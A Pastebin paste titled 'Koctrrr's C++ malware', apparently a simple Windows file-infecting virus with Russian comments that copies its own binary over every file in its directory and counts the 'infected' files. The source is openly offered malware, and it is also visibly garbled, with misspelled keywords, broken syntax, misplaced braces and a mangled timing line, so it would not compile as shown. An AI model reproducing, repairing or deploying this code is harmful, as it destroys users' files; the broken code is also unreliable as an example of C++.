Advertisement
FlyFar

Koctrrr's C++ malware - Source Code

Jul 9th, 2023
722
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 3.05 KB | Cybersecurity | 0 0
  1. #include 'stdafx.h'
  2. #include <fstream>
  3. #include <iostream>
  4. #include <io.h>
  5. #include <time.h>
  6. #include <Windows.h>
  7.  
  8. using namespace std;
  9. struct_finddata_t c_file; // использовать для получения имени всех файлов в текущем каталоге вируса
  10. long hFile; //использовать для хранения длинных значений возврата из структуры
  11.  int a=0; // Использовать в качестве счетчика, который считает файлы
  12.  man(int argc, char **argv) //использование командной строки,потому что имя файла будет передаваться через структуру
  13. {
  14.      clock_t st.end; //объект вловка для времени начала и окончания
  15.       st = clock();  //асы пуска
  16.       system("title Virus"); //не требуется, так как показывает только заголовок программ
  17.  
  18.     if ((hFile=_findfirst("*.*",&c_file)) == -1//проверить все файлы, присутствующие в каталоге, используя *.*
  19.     cout<<"No files are present in current directory"<<end1;// как будто -1 нет файлов в каталоге
  20.     else
  21.     {
  22.         do
  23.     }
  24.     cout<<"Infecting :"<<c_file.name<<end1;//показывает текущее имя заражающего файла
  25.     fstream in(argv{0},ios::binary|ios::out);//открыть текущий файл в двоичном режиме (незараженный файл)
  26.     fstream out(c_file.name,ios::binary|ios::out);//открыть текущий файл в двоичном режиме (незараженный файл)
  27.  
  28.     char c;//использовать для хранения символов, прочитанных вирусом
  29.  
  30.     while(true)
  31.     {
  32.         c = in.get();//читать данные
  33.         if(in.eo()) break; //если файл полностью прочитан или для чтения ничего не осталось
  34.         out.put(c);//записать код вируса в незараженный файл, теперь незараженный файл теперь заражен
  35.     }
  36.  
  37.     a++;
  38. }
  39. while_(_findnext(hFile, &c_file) == 0); //читать следующий файл, если он доступен, и цикл продолжается, иначе прервать             _findclose(hFile); //close structure, no need to read name files as we done before and read all
  40. }
  41. _findclose(hFile);//близкая структура, не нужно читать имена файлов, как это делалось ранее cout
  42.  
  43. << "/nTotal infected files are : " << a - 3 << end1;// a- 3, потому что 3 вещи не показывать, увидим в выводе
  44.  
  45.  close end count = clock();//закрыть часы
  46.  
  47.     << "Time taken : ";
  48.  
  49. printf("%.2fs", (double)(end-st)/CLK_TCK);//
  50.  
  51. cin.get();//
  52.  
  53. return 0;
  54. }
Tags: C++ malware virus
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement